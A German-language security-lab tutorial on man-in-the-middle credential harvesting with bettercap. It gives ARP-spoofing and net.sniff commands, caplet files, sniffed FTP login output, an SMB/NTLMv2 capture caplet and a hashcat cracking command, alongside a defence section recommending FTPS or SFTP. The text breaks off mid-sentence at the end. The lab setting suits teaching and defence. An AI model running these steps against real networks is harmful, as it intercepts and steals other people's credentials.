Bettercap: Credential-Harvesting mit net.sniff
Bettercap: Credential-Harvesting mit net.sniff
Szenario
- FTP-SERVER (Opfer) = 10.0.10.104
- CLIENT (userver) = 10.0.10.103
- ANGREIFER = 10.0.10.101
- INTERFACE = eth0
Der CLIENT userver loggt sich per FTP auf dem FTP-SERVER ein. Der Angreifer sitzt per ARP-Spoofing zwischen beiden und liest die FTP-Zugangsdaten mit. FTP uebertraegt Login und Passwort im Klartext - net.sniff erkennt den Login automatisch und zeigt Benutzer und Passwort als fertige Zeile an.
Benoetigtes Paket
- apt-get install bettercap
Angreifer: MITM + Sniffer starten
- bettercap -iface eth0
- Im bettercap-Prompt
- set arp.spoof.targets 10.0.10.103,10.0.10.104
- set arp.spoof.internal true
- set arp.spoof.fullduplex true
- set net.sniff.filter "tcp port 21 or tcp port 20"
- net.probe on
- arp.spoof on
- net.sniff on
Optionen
arp.spoof.targets = beide Hosts (Client und FTP-Server) arp.spoof.internal true = Host-zu-Host im LAN vergiften (beide sind interne Hosts) arp.spoof.fullduplex = beide Richtungen vergiften net.sniff.filter = nur FTP-Verkehr anzeigen (21 Steuerkanal, 20 Datenkanal) net.probe on = ARP-Cache vorab fuellen arp.spoof on = ARP-Spoofing starten net.sniff on = Sniffer mit Protokoll-Parsern starten
- net.sniff ist kein reiner Mitschnitt
- es kennt die Klartext-Protokolle und zieht
- die Zugangsdaten selbst heraus. Man muss den TCP-Stream nicht von Hand
- zusammensetzen - der FTP-Login erscheint fertig geparst im Log.
Als Caplet (reproduzierbar)
- Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
- damit man sie nicht jedes Mal von Hand tippt.
- vim seclab-ftp-creds.cap:
net.probe on set arp.spoof.targets 10.0.10.103,10.0.10.104 set arp.spoof.internal true set arp.spoof.fullduplex true set net.sniff.filter "tcp port 21 or tcp port 20" arp.spoof on net.sniff on
- Start
- bettercap -iface eth0 -caplet seclab-ftp-creds.cap
Auf dem CLIENT: FTP-Login ausloesen
- Damit es etwas mitzuschneiden gibt, loggt sich der userver auf dem FTP-Server ein.
- ftp 10.0.10.104
Connected to 10.0.10.104. Name (10.0.10.104:root): testuser Password: geheim123 230 Login successful. ftp> quit
Auf dem Angreifer: der abgegriffene Login
- Im net.sniff-Log erscheint der Login fertig geparst, etwa so
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104 user 'testuser' [net.sniff.ftp] 10.0.10.103 > 10.0.10.104 pass 'geheim123'
- Benutzer und Passwort stehen im Klartext da - ohne dass man den TCP-Stream
- von Hand zusammenbauen musste.
Gegenprobe: derselbe Login in Wireshark
- Zum Vergleich denselben FTP-Login in Wireshark oeffnen und "Follow TCP Stream"
- waehlen. Man sieht dieselben Daten - aber verteilt ueber viele Pakete und ohne
- fertige Auswertung. Das zeigt, was net.sniff dem Angreifer an Arbeit abnimmt.
Angriff beenden
- Im bettercap-Prompt
- arp.spoof off
- q
- arp.spoof off schickt re-ARP, damit die ARP-Caches von Client und Server wieder
- stimmen.
Warum das funktioniert - und die Abwehr
- FTP uebertraegt Login und Passwort unverschluesselt. Die Abwehr ist nicht "besser
- aufpassen", sondern das Protokoll ersetzen
- FTPS (FTP ueber TLS) oder SFTP (ueber SSH) statt Klartext-FTP
- Damit sieht net.sniff nur noch verschluesselte Bytes - kein Login mehr im Klartext
Weiterfuehrende Angriffe
Caplet smb
- Wie beim FTP-Caplet
- die Befehle in eine Datei geschrieben, damit man sie nicht
- jedes Mal tippt. Gefiltert wird auf die SMB-Ports 139 (NetBIOS) und 445 (SMB direkt).
- vim seclab-smb-creds.cap
net.probe on set arp.spoof.targets 10.0.10.103,10.0.10.104 set arp.spoof.internal true set arp.spoof.fullduplex true set net.sniff.filter "tcp port 445 or tcp port 139" arp.spoof on net.sniff on
- Start
- bettercap -iface eth0 -caplet seclab-smb-creds.cap
Was net.sniff bei SMB zeigt - und was nicht
- Anders als bei FTP steht hier KEIN Passwort im Klartext. SMB authentifiziert
- ueber NTLM Challenge-Response
- das Passwort geht nie ueber die Leitung. Im
- Mitschnitt erscheinen nur
- der Benutzername (Klartext) - die Domaene / Workgroup - die Server-Challenge - die NTLMv2-Response (der errechnete Hash)
- Das ist genau der Kontrast zu FTP
- dieselbe MITM-Position, aber ein Protokoll,
- das die Passwort-Uebertragung richtig macht. net.sniff hat fuer SMB auch keinen
- fertigen user/pass-Parser - die NTLM-Response liest man in Wireshark mit dem
- Anzeigefilter ntlmssp sauber aus.
Ausblick: der Hash ist trotzdem Beute
- Die mitgeschnittene NTLMv2-Response laesst sich offline knacken. Den Hash in eine
- Datei schreiben und spaeter im hashcat-Kapitel wieder aufnehmen
- hashcat -m 5600 ntlmv2.hash rockyou.txt
- Das